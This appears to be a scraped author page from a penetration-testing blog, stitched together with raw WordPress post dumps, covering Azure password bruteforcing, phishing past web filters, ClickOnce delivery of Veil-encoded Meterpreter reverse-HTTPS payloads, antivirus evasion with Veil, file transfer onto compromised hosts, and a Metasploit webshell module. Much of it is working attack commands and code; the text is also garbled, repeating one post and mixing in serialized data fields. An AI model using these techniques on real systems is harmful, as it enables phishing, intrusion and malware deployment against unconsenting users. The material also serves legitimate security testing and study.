Ryan Gandrud
- Automatically identifying managed or federated domains
- Single email or email list password guessing
Single email targeting against a managed domain
Currently, there is no elegant way to exit from a successful connection to Microsoft’s Managed infrastructure in PowerShell. Because of this, the script outputs a warning informing the attacker that any commands run against a Managed domain will be run as the user displayed in the output. A potential workaround is to use PowerShell sessions, allowing you can successfully create and destroy sessions connected to managed domains. However, in the interest of not requiring local admin, avoiding major state changes to a computer by enabling PowerShell remoting, and simplicity, I decided to simply warn the user to exit their current PowerShell session to avoid any unintended changes within the managed domain.
Email list targeting against a Federated domain
Targeting against a Federated domain will first identify the Authentication URL, then send an ADFSSecurityTokenRequest to the URL with the provided username and password. A valid username and password combination only returns a token value, meaning no active sessions are stored in the current PowerShell session. After all the usernames have been tested, the Authentication URL is also printed out for an attacker to visit the site and manually log in.
Prerequisites
The code to connect to both Federated and Managed domains was taken from Microsoft. Below are the links to download that code:Federated:
https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/Managed (Azure AD Powershell module):
https://msdn.microsoft.com/en-us/library/jj151815.aspxLimitations / Future Work
Currently the script can only target one domain at a time. In the near future I’ll update the script to target multiple domains at once.References:
- https://blogs.technet.microsoft.com/jeff_stokes/2013/07/08/another-cloud-tipfederated-vs-managed-users/
- https://blogs.technet.microsoft.com/canitpro/2014/05/13/step-by-step-syncing-an-on-premise-ad-with-azure-active-directory/
After a quick lookup, the site should report back the current status of the URL; if it is categorized already or not. These sites should allow you to submit a new categorization for the URL even if the site already has one.
Once the URL is submitted, it's put into the queue to review. This step can be automated or performed manually, depending on the company. After the URL has been categorized, an email is sent out to the provided address informing that user of the change.
After the site has been categorized and the new policy has been pushed to the product(s) onsite, users should be able to now access the site. It is important to note that even if a site has been categorized, the client needs to allow users to access that specific category. If your site is categorized as one that is not allowed through the web filter, the end result will a failed phishing campaign.
Happy phishing!
[post_title] => Adding Web Content Filter Exceptions for Phishing Success
[post_excerpt] => During phishing engagements, one of the key steps is to ensure that targeted users can access your phishing website. These filtering services can often cause problems...
[post_status] => publish
[comment_status] => closed
[ping_status] => closed
[post_password] =>
[post_name] => adding-web-content-filter-exceptions-for-phishing-success
[to_ping] =>
[pinged] =>
[post_modified] => 2021-04-13 00:05:15
[post_modified_gmt] => 2021-04-13 00:05:15
[post_content_filtered] =>
[post_parent] => 0
[guid] => https://netspiblogdev.wpengine.com/?p=6285
[menu_order] => 598
[post_type] => post
[post_mime_type] =>
[comment_count] => 0
[filter] => raw
)
[2] => WP_Post Object
(
[ID] => 3155
[post_author] => 15
[post_date] => 2015-03-23 07:00:35
[post_date_gmt] => 2015-03-23 07:00:35
[post_content] =>
During recent email phishing assessments, NetSPI has been making use of ClickOnce applications to deploy payloads effectively and efficiently to phishing victims through Internet Explorer. ClickOnce is a deployment method that allows an application administrator to create Windows-based applications and deploy them to specific users. This method also allows for simple updating of published applications on a user's machine, without the worry of typical Java applet restrictions. There are multiple advantages to using ClickOnce to deploy and update applications:
- Simple installation and updating
- Minimal user interaction
- Web browser deployment
- Network or network file share installation
- Easy to write a ClickOnce application
Although there are many legitimate advantages to using ClickOnce deployments, it also provides a vector for malicious actors to compromise user's machines with just one click.
ClickOnce Introduction
ClickOnce is just a wrapper that sits around an executable that you would like to run on a user's machine. It uses a trust architecture to determine the amount of interaction that is needed from a user before executing the included binary. By default, ClickOnce packages that come from My Computer, Local Intranet, IE Trusted Sites, and the Internet allow a user to grant the application temporary admin privileges in order to install. This is a feature: "But the most important new feature when it comes to security is … the end user can elevate permissions without the help of an administrator" - MSDN. The only category disabled by default is IE Untrusted Sites. These settings are controlled by a registry key found at:
\HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\.NETFramework\Security\TrustManager\PromptingLevel
Naturally, this technology fits right in with email phishing attacks, as by default, a user can grant an [insert malicious payload here] admin privileges to install/launch/exploit.
| Zone | Applications |
|---|---|
| MyComputer | Enabled |
| LocalIntranet | Enabled |
| TrustedSites | Enabled |
| Internet | Enabled |
| UntrustedSites | Disabled |
ClickOnce App with Payload
As mentioned above, ClickOnce is just a convenient deployment method for the binary that you would like to execute. Visual Studio makes this task simple by including the ability to publish ClickOnce applications. Each ClickOnce Visual Studio project includes multiple files:
- ProjectName.application
- Contains the location of the manifest and application version information
- ProjectName.exe.config.deploy
- Contains application settings (i.e. connection strings, etc.)
- ProjectName.exe.deploy
- The (potentially malicious) executable that will be run by a user
- ProjectName.exe.manifest
- Manifest file containing application version, .NET versions supported, permission level requested, and signatures for the other files
- Contains the file name for the executable
The easiest way to get ClickOnce to execute a payload of your choosing is to create a new console application using Visual Studio. This allows you to write your own code, not worry about a pop-up, and publish the resulting code (create the ClickOnce installer). Using some simple C# code, you can launch a process to execute an included obfuscated payload (ClickOnceInc.exe).
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
namespace Example_Application
{
static class Program
{
static void Main()
{
//Starting a new process executing the malicious exe
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = false;
p.StartInfo.FileName = "ClickOnceInc.exe";
p.Start();
}
}
}
Ensure that your application uses the correct version of .NET of the operating system you are targeting so the application runs properly. .NET supports backwards compatibility within each major version, allowing multiple operating systems to be targeted at once using one compiled project. For example, Windows Vista and Windows 7 can both be targeted with a .NET 3.0 binary since they both come by default with .NET 3.X installed. The same can be said for Windows 8 and Windows 10, where both can be targeted with a .NET 4.0 compiled project since they have .NET 4.5 and 4.6 installed by default respectively. Here, .NET 3.5 was chosen by navigating to the Application tab on the left, and selecting the Target Framework from the dropdown.
Include your malicious executable into the Visual Studio Solution by clicking and dragging the executable over the project (ConsoleApplication1).
Going into the properties of the console application, you can modify the ClickOnce settings within the Publish tab on the left. Make sure to change the Install Mode and Settings to "The application is available online only". The Installation folder URL should be the URL the ClickOnce application will be downloaded from on the web server.
Clicking on the Application Files… button, we get a popup showing the different files that will be created when the application is published. An important step here is to exclude the hash for the ClickOnceInc.exe. This will prevent the application from being signed and allows for the malicious executable to be changed without ClickOnce erroring out.
Clicking on the Publishing Wizard button, click next through the dialogs to publish the application.
This should build your application in the C:\testing directory. You should find the following files inside:
- Application Files directory
- Evil Survey.application
- Publish.htm
- Setup.exe
All of these files should be copied over to your web server and placed in a folder off of the web root. In this example, I use /var/www/examplesite/template/.
Since ClickOnce will take any Windows executable to run, there are many different options for payloads to use:
- Roll your own
- If you have your own exploit that can be run on a Windows box, this can be its time to shine.
- Metasploit
- Pro: Plenty of Meterpreter options (hint: use a reverse connection)
- Con: Likely to get nabbed by AntiVirus
- Veil
- Pros:
- Meterpreter payloads written in different languages
- Encrypted payload - i.e. less likely to get caught by AV
- Cons:
- Static "random" Meterpreter callback
- Pros:
I decided to go with a Veil payload to avoid getting caught by AV at all costs, but this introduced a new problem; static random Meterpreter callbacks. Normally, when a Meterpreter executable is run, it generates a new random callback for the handler so it can be seen as a new and unique connection coming from a box. With Veil, the random callback has already been determined when Veil compiles the encrypted executable, so every time the Veil executable is run, it calls back with the same "random" callback. This is then ignored by the handler, as additional automated calls from the already compromised system, resulting in only one successful Meterpreter connection, no matter how many times the Veil payload is run on different computers. For more on how to generate a payload using Veil, reference my quick write-up.
The solution? Dynamically generating Veil payloads to be served to phished targets.
Web Server Setup
Remember that each ClickOnceInc.exe.deploy file needs to be uniquely generated in order for the Meterpreter callback to be handled properly by Metasploit. After publishing the ClickOnce application once, the same published project can be used as a template to be served up to each new victim. The only part that needs to change is the ClickOnceInc.exe.deploy file, which should be dynamically generated and replaced for each user. This would normally invalidate the hash signature within the .manifest file, causing the ClickOnce application to error out and not run our intended payload. However, when setting up the ClickOnce app in the above steps, we disabled the hashing for this specific file, allowing us to replace it with different executables without error.
In order to track users, the GET parameter uid is populated with information correlating each unique person to a uid value. This is then tracked by the server and used to generate unique payloads for each victim.
Web server payload delivery steps:
- Copy the template into uid specific directory
- Generate the Veil payload
- Replace the template ClickOnceInc.exe.deploy with newly generated payload
- Configure mod_rewrite to call ClickOnce
Copying ClickOnce template
When a user first visits the site with the uid GET parameter set, a new directory should be created using their uid value, and the contents of the template directory should be copied into this new directory. This creates a structured directory so the web server can easily locate the correct personalized payload for each user.
Disclaimer: You need to sanitize any user input (uid parameter) before using it. Always sanitize!
Generating Veil Payload
Veil-Evasion has the ability to be scripted, allowing for our webserver to make this call to generate the payload for each unique user. The 2> redirection to /dev/null prevents error messages generated by Veil-Evasion from being echoed to the screen.
/opt/Veil/Veil-Evasion/Veil-Evasion.py -p python/meterpreter/rev_https_contained -c LHOST=ip.ip.ip.ip LPORT=443 --overwrite -o 1111 2> /dev/null
Replacing ClickOnceInc.exe.deploy
The default output directory for the above step is: /tmp/veil-output/compiled. This compiled exe then needs to replace the "Application Files/evil_1_0_x_x/ClickOnceInc.exe.deploy" file for that user.
Mod_rewrite
Apache's mod_rewrite module can change a web request from evil.app?uid=1111 to /base/1111/evil.app.
The following two lines from the Apache Virtual Host definition should accomplish the correct rewrite:
RewriteCond %{QUERY_STRING} ^uid=(.*)$
RewriteRule ^/Project\.application /base/%1/ Evil\ Survey.application? [R]
The /base/ is a directory relative to the webroot of your site. Utilizing this rewrite rule, you can include the following code in your phishing page source, which will launch the ClickOnce application.
window.open("https://example.site.com/Evil Survey.application?uid=1111", "application");
This, after being rewritten by mod_rewrite, will request the following file from the server:
/var/www/examplesite/base/1111/Evil\ Survey.application
Using the steps above, the basic functionality to launch a ClickOnce attack is in place. All that is left is to build a convincing email and site around this and convince users to visit.
Exploitation
When the site launches the ClickOnce application, the user will see a couple of things:
The Launching Application pop-up:
The ClickOnce dialog prompting the user to click Run. This popup displays the name of the application, the location it is being requested from, and the Publisher. Note that unsigned ClickOnce applications are not blocked by default, unlike unsigned Java applets.
After the user clicks Run, the application downloads and runs:
Watching our Metasploit MultiHandler, we see the victim computer connect back:
Mitigation
There are multiple ways to prevent this attack from happening. The first is the most obvious: user education. User's need to be aware and cognizant of phishing attack techniques and the proper steps to report these attacks.
Specific to ClickOnce, Group Policy is the best way to ensure these applications cannot be run. Using GPO, you can push down policies to modify the TrustManager settings, which controls if ClickOnce can be run from different trust zones in Internet Explorer. It is recommended to change the Internet zone to either "Disabled" or to "AuthenticodeRequired". This will require the ClickOnce application to be signed with a valid signature before it is allowed to run.
Wrap Up
From here, persistence and escalation can begin. For user's concerned with cleanup, the default path the ClickOnce applications get installed to is: C:\Users\userprofile\Local Settings\Apps\2.0. There will be a uniquely named folder for each ClickOnce application. Deleting this folder will remove the ClickOnce application from the machine. This blog is intended to document the inherent flaws in ClickOnce applications while presenting a viable PoC.
References
- https://msdn.microsoft.com/en-us/library/cc176048(v=vs.90).aspx
- https://msdn.microsoft.com/en-us/library/ee308453.aspx
- https://msdn.microsoft.com/en-us/library/aa719097(v=vs.71).aspx#clickonce_topic8
Veil-Framework is a collection of tools that help with information gathering and post-exploitation. One such tool is Veil-Evasion which is used for creating payloads that can easily bypass Antivirus using known and documented techniques. This is done through an array of encoding schemes that change the signatures of files dramatically enough to avoid standard detection techniques. You can download the framework by visiting the Veil Framework Github.
Generating obfuscated payloads
During penetration tests, if a box has Antivirus installed, dropping and executing simple meterpreter binaries is more than likely going to be caught. In this case, you need to encode the binary. There are a couple of built in encoders in Metasploit (shikata ga nai is the most popular one), but these signatures have been updated in many Antivirus solutions, resulting in detection.
A way to get around this is to use Veil-Evasion. This tool comes with thirty different payloads in C, C#, PowerShell, and Python languages. I almost always use the Python versions, simply because it was the only language in Veil-Evasion that supported Meterpreter reverse HTTPS connections (until recently). This is beneficial for shells because everything will be encrypted with SSL, preventing the commands and results from being transmitted in the clear and potentially being discovered by an IDS or IPS system. Another benefit of using Python is the ability to make contained payloads. This means that all the Meterpreter code needed for the reverse https connection is already included instead of only being a stager that downloads the rest of the code to run.
When you select the Python language within Veil-Evasion, Veil creates executables by utilizing Wine. Specifically, it uses the py2exe and/or pyinstaller for compilation.. If you feel as though the normal encoding isn't quite enough, you can also use pyherion encoding. The pyherion option causes Veil to AES encrypt the payload with a random key. One of the benefits of Python is that you are able to dynamically execute functions. Using this technique, you can encrypt the source code using AES, then execute the code during runtime by calling the AES decryption function. This randomizes the original source code, making fingerprinting by AV more difficult. However, the decryption function of the code is still static (Exec(AES.new("...). To solve this problem, the source code is Base64 encoded and wrapped in another exec call to obscure the decrypt function. Veil then obfuscates the required imports for AES and Base64 by using random names. In the end, you are left with dynamic execution of a Base64 encoded, AES encrypted payload which is almost completely randomized per generation. For more information on pyherion, visit the Veil team's blog.
Veil-Evasion also has command line switches that allow for easy scripting. This makes it dead simple to generate dynamic Veil-encoded Meterpreter payloads. Below is an example of a python reverse_https_contained Meterpreter executable using pyherion encoding being generated through the command line:
root@kali:/# /root/tools/Github/Veil/Veil-Evasion/Veil-Evasion.py -p python/meterpreter/rev_https_contained -c LHOST=127.0.0.1 LPORT=443 use_pyherion=Y --overwrite -o malicious ========================================================================= Veil-Evasion | [Version]: 2.9.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= [*] Executable written to: /root/veil-output/compiled/malicious.exe Language: python Payload: python/meterpreter/rev_https_contained Required Options: LHOST=127.0.0.1 LPORT=443 compile_to_exe=Y inject_method=virtual use_pyherion=Y Payload File: /root/veil-output/source/malicious.py Handler File: /root/veil-output/handlers/malicious_handler.rc [*] Your payload files have been generated, don't get caught! [!] And don't submit samples to any online scanner! ;)
Using this exe, you can now easily execute your Meterpreter code with a very low chance of being caught by AV.
[post_title] => Bypassing AV with Veil-Evasion [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => bypassing-av-with-veil-evasion [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:37 [post_modified_gmt] => 2021-04-13 00:05:37 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1112 [menu_order] => 650 [post_type] => post [post_mime_type] => [comment_count] => 3 [filter] => raw ) [4] => WP_Post Object ( [ID] => 1115 [post_author] => 15 [post_date] => 2014-06-16 07:00:35 [post_date_gmt] => 2014-06-16 07:00:35 [post_content] =>Pentesters often upload files to compromised boxes to help with privilege escalation, or to maintain a presence on the machine. This blog will cover 15 different ways to move files from your machine to a compromised system. It should be interesting for penetration testers who have a presence on a box and need post-exploitation options, and system admins that just want to move files.
There are many other ways to move files onto machines during pentests, but this list includes some of my favorites. Below is a summary of the file transfer techniques that will covered in this blog.
- PowerShell file download
- Visual Basic file download
- Perl file download
- Python file download
- Ruby file download
- PHP file download or upload
- FTP file download
- TFTP file download
- Bitsadmin file download
- Wget file download
- Netcat file download
- Windows share file download
- Notepad dialog box file download
- Exe to Text, Text to EXE with PowerShell and Nishang
- Csc.exe to compile from source file
Note: Many of the techniques listed should also be considered as options when executing commands through SQL injection. For the multi-line steps, ECHO the commands to a file, and then execute the file.
PowerShell File Download
PowerShell is one of those scripting languages that can be overlooked as a threat by administrators. However, it can provide a plethora of options and capabilities to someone who knows how to use it. The biggest benefit is that it is native to Windows since Windows Server 2003. Below is an example of a simple script that can be used to download a file to the local file system from a webserver on the internet:
$p = New-Object System.Net.WebClient $p.DownloadFile("https://domain/file" "C:%homepath%file")
To execute this script, run the following command in a PowerShell window:
PS C:> .test.ps1
Sometimes, the PowerShell execution policy is set to restricted. In this case, you will not be able to execute commands or scripts through PowerShell… unless you just set it to unrestricted using the following command:
C:>powershell set-executionpolicy unrestricted
Visual Basic File Download
The final version of Visual Basic has come standard on Windows machines since 1998. The following script can download a file of your choosing. However, the script is quite larger than the PowerShell one.
Set args = Wscript.Arguments Url = "https://domain/file" dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", Url, False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile " C:%homepath%file", 2 ' end with
Cscript is a command line Windows Script Host that allows you to pass command line options and allows you to set script properties. It is not necessary to use this to run a vbs script in Windows 7 and possibly others, but using it allows your scripts to run on Windows XP machines and above.
To execute this script, run the following command in a command shell:
C:>cscript test.vbs
The following four languages are non-native to windows machines. However, if you find a machine with any of these languages installed on them (regardless of the OS), you can leverage these scripts to download files.
Perl File Download
Perl is an extremely versatile scripting language that can be used for almost anything. Using Perl makes it super easy to download files onto the local host.
#!/usr/bin/perl use LWP::Simple; getstore("https://domain/file", "file");
To execute this script, run the following command in a command shell:
root@kali:~# perl test.pl
Python File Download
Python is a general purpose scripting language that emphasizes code readability. As with most scripting languages, the goal is to write less code than needed for a programming language, while still accomplishing the intended task.
#!/usr/bin/python import urllib2 u = urllib2.urlopen('https://domain/file') localFile = open('local_file', 'w') localFile.write(u.read()) localFile.close()
To execute this script, run the following command in a command shell:
root@kali:~# python test.py
Ruby File Download
Ruby is an object-oriented programming language that can be used for many things from creating frameworks (think Metasploit) to simple tasks such as downloading files.
#!/usr/bin/ruby require 'net/http' Net::HTTP.start("www.domain.com") { |http| r = http.get("/file") open("save_location", "wb") { |file| file.write(r.body) } }
To execute this script, run the following command in a command shell:
root@kali:~# ruby test.rb
PHP File Download
PHP is usually a server-side scripting language used for web development, but can also be used as a general purpose scripting language.
#!/usr/bin/php <?php $data = @file("https://example.com/file"); $lf = "local_file"; $fh = fopen($lf, 'w'); fwrite($fh, $data[0]); fclose($fh); ?>
To execute this script, run the following command in a command shell:
root@kali:~# php test.php
The remaining ways to move files onto a target machine are through native operating system functions unless otherwise noted. Some of these require more steps than others, but can be used in different scenarios to bypass certain restrictions.
FTP File Download
For this method, an attacker would want to echo the FTP commands to a bash script since it generally requires user interaction to input a username and password. This bash script can then be run to have all the steps ran without the need for interaction.
ftp 127.0.0.1 username password get file exit
TFTP File Download
Trivial FTP comes by default in Windows Vista and below. Note that you will have to set up the corresponding server to connect to. It can be run using the following command:
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
Bitsadmin File Download
Bitsadmin is a command-line tool for windows that allows a user to create download or upload tasks.
bitsadmin /transfer n https://domain/file c:%homepath%file
Wget File Download
Wget is a Linux and Windows tool that allows for non-interactive downloads.
wget https://example.com/file
Netcat File Download
Netcat can allow for downloading files by connecting to a specific listening port that will pass the contents of a file over the connection. Note that this example is Linux specific.
On the attackers computer, type:
cat file | nc -l 1234
This will print the contents of the file to the local port 1234. Then, whenever someone connects to that port, the contents of the file will be sent to the connecting IP.
The following command should be run on the machine the attacker is targeting:
nc host_ip 1234 > file
This will connect the target to the attacker's computer and receive the file that will be sent over the connection.
Windows Share File Download
Windows shares can be mounted to a drive letter, and files can then be copied over by subsequent copy commands.
To mount a remote drive, type:
net use x: 127.0.0.1share /user:example.comuserID myPassword
Notepad Dialog Box File Download
If you have access (RDP, physical, etc.) to a machine, but your user permissions do not allow you to open a web browser, this is a trick you can use to quickly download a file from a URL or a Universal Naming Convention (UNC) path. This also works well when you are breaking out of a locked-down application being run on a terminal.
- Open notepad
- Go to file - open
- In the File Name box near the bottom, type in the full URL path to your file
Notepad is kind enough to go out and grab the contents of this file for you.
Exe to Txt, and Txt to Exe with PowerShell and Nishang
This is possibly one of my favorite tools to use when trying to move an exe to a machine. Nishang allows you to convert an exe to hex, then reassemble the hex into the original exe using PowerShell. I have seen group policies that do not allow for the transfer of exes through the RDP clipboard. Although it provides basic protection, it (sometimes) still allows the ability to copy text through the clipboard. In this scenario, you would be able to copy across the Nishang PowerShell source to a file on the box and rename the extension to .ps1. The Nishang script you want to copy is TexttoExe.ps1, and it is only 8 lines long. You can download Nishang here.
To convert the exe to a hex file, type:
PS > .ExetoText.ps1 evil.exe evil.txt
Open the evil.txt file and copy the contents. Then paste the contents to the target machine using the RDP clipboard. Do the same with the contents of the TexttoExe.ps1 file in Nishang.
To convert the hex file back to an exe, type:
PS > .TexttoExe.ps1 evil.text evil.exe
This will result in your evil exe being successfully moved to the target machine.
Csc.exe to Compile Source from a File
C sharp compiler (csc) is the command line compiler included with Microsoft .NET installations within Windows. This could be useful if you are unable to copy over an executable file, but can still copy over text. Using this method, combined with SQL injection, can move an exe to a box without having to try to bypass egress filters or authenticated proxies that might block outbound connectivity.
The default location for this executable is the following:
C:WindowsMicrosoft.NETFrameworkversion
Using the following example code, the compiled executable will use cmd.exe to query the local users on the box and write the results to a file in the C:Temp directory. This could obviously be modified to interact with different exe's on the box, or completely re-written to use your own exploit code.
public class Evil { public static void Main() { System.Diagnostics.Process process = new System.Diagnostics.Process(); System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo(); startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/C net users > C:Tempusers.txt"; process.StartInfo = startInfo; process.Start(); } }
To compile your source code, type:
csc.exe /out:C:evilevil.exe C:evilevil.cs
Wrap up
Hopefully this blog has given you viable options for getting your files (malicious or otherwise) over to a server.
[post_title] => 15 Ways to Download a File [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => 15-ways-to-download-a-file [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:48:55 [post_modified_gmt] => 2021-06-08 21:48:55 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1115 [menu_order] => 652 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [5] => WP_Post Object ( [ID] => 1121 [post_author] => 15 [post_date] => 2014-04-14 07:00:21 [post_date_gmt] => 2014-04-14 07:00:21 [post_content] =>Many web applications come with the ability to upload files to the server. Some of these can be misconfigured and allow for arbitrary file upload. During these situations, this module for MetaSploit can come in handy if the backend server is Windows.
What can you do with this?
This module, authored by Scott Sutherland and myself, allows for webshells to be generated in different languages including JSP, PHP, ASP, ASPX, CFM, and a TXT file through the WEB_LANG option. This will then generate a base64 encoded PowerShell command that contains the defined MSF payload that will be passed to the Windows operating system and executed.
The advantage of running the base64 encoded PowerShell command is that no anti-virus products out there can stop this from running. The only caveats are that you need to know if it is a 32 or 64 bit Windows install, and you need to have local admin privileges from the webshell. However, if you can find a misconfigured server and want a quick and easy way to execute a MSF payload on the machine, this module is for you.
Requirements:
- A vulnerable file upload function
- The MetaSploit module hosted by Mubix on his pwnwiki GitHub
Usage:
root@bt:# msfconsole msf> use exploit/custom_path/ps_webshells msf> set OUT_DIR /tmp/ msf> set TARGET_ARCH 32 msf> set WEB_LANG ASPX msf> set PAYLOAD windows/meterpreter/reverse_https msf> set LHOST ip.ip.ip.ip msf> exploit
From here, all that's left to do is upload the webshell, browse to the uploaded page, and wait for the return meterpreter shell to connect. Want more info on JSP web shells? Check out Scott's blog on Hacking with JSP Shells.
[post_title] => Executing MSF Payloads via PowerShell Webshellery [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => executing-msf-payloads-via-powershell-webshellery [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:42 [post_modified_gmt] => 2021-04-13 00:05:42 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1121 [menu_order] => 658 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) ) [post_count] => 6 [current_post] => -1 [before_loop] => 1 [in_the_loop] => [post] => WP_Post Object ( [ID] => 7137 [post_author] => 15 [post_date] => 2017-05-02 07:00:27 [post_date_gmt] => 2017-05-02 07:00:27 [post_content] =>The Basics
With the continual rise in popularity of cloud services, Microsoft launched their Azure cloud infrastructure in early 2010, which eventually went on to support their Virtual Machines, Cloud Services, and Active Directory Domain Services. There are two different ways a Microsoft domain can support cloud authentication; managed and federated. A federated domain is one whose authentication communicates with on-site federation providers such as Active Directory Federation Services (ADFS). These on-site providers communicate with the internal Active Directory domain controllers to determine if a user’s username and password are correct. In contrast, managed domains communicate solely with Microsoft’s cloud infrastructure and pass the provided username and password to Windows Azure Active Directory to validate authorization. It is worth noting that on premise Active Directory can be synced with Azure, meaning that usernames and passwords have a decent chance of being shared across the two.Use Case
During external penetration tests, it’s common to attempt password guessing against available services to attempt to gain a foothold within an application or environment. This includes testing weak passwords for externally available domain services such as Office365, OWA, and VPN, among others. Being able to quickly and efficiently obtain the correct URI and perform password guessing across domains leaves more time for other fun testing. So I went on a search to find a program or script that could help automated password attempts against these cloud friendly services. My coworker Karl Fosaaen recently released a script and blog on identifying federated and managed domains with PowerShell. This prompted me to write a natural continuation on the subject by adding automated password guessing. The end result is Invoke-ExternalDomainBruteforce.psm1, a password bruteforce tool for managed and federated domains. Features of the script include:- Automatically identifying managed or federated domains
- Single email or email list password guessing
Single email targeting against a managed domain
Currently, there is no elegant way to exit from a successful connection to Microsoft’s Managed infrastructure in PowerShell. Because of this, the script outputs a warning informing the attacker that any commands run against a Managed domain will be run as the user displayed in the output. A potential workaround is to use PowerShell sessions, allowing you can successfully create and destroy sessions connected to managed domains. However, in the interest of not requiring local admin, avoiding major state changes to a computer by enabling PowerShell remoting, and simplicity, I decided to simply warn the user to exit their current PowerShell session to avoid any unintended changes within the managed domain.
Email list targeting against a Federated domain
Targeting against a Federated domain will first identify the Authentication URL, then send an ADFSSecurityTokenRequest to the URL with the provided username and password. A valid username and password combination only returns a token value, meaning no active sessions are stored in the current PowerShell session. After all the usernames have been tested, the Authentication URL is also printed out for an attacker to visit the site and manually log in.
Prerequisites
The code to connect to both Federated and Managed domains was taken from Microsoft. Below are the links to download that code:Federated:
https://blogs.msdn.microsoft.com/besidethepoint/2012/10/17/request-adfs-security-token-with-powershell/Managed (Azure AD Powershell module):
https://msdn.microsoft.com/en-us/library/jj151815.aspxLimitations / Future Work
Currently the script can only target one domain at a time. In the near future I’ll update the script to target multiple domains at once.References:
- https://blogs.technet.microsoft.com/jeff_stokes/2013/07/08/another-cloud-tipfederated-vs-managed-users/
- https://blogs.technet.microsoft.com/canitpro/2014/05/13/step-by-step-syncing-an-on-premise-ad-with-azure-active-directory/
